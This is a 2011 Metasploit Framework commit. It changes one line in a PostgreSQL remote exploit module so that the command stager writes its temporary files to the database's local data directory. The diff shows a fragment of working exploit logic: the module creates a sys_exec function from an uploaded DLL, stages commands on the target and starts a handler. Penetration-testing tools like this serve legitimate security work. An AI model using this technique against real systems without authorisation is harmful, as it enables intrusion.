Sets the cmd stager's temp directory to "." which makes all the writes go to the local data directory for postgresql. This avoids the slashes issue reported by troulouliou and keeps all the uploaded files in one place for somewhat easier cleanup.

git-svn-id: file:///home/svn/framework3/trunk@12135 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Tod Beardsley 2011-03-25 19:42:36 +00:00
parent 695bd76a30
commit fa062b8f32
1 changed files with 1 additions and 1 deletions

View File

@ -94,7 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote
ret_sys_exec = postgres_create_sys_exec(dll)
if ret_sys_exec
if @postgres_conn
execute_cmdstager({:linemax => 1500, :nodelete => true})
execute_cmdstager({:linemax => 1500, :nodelete => true, :temp=>"."})
handler
postgres_logout if @postgres_conn
else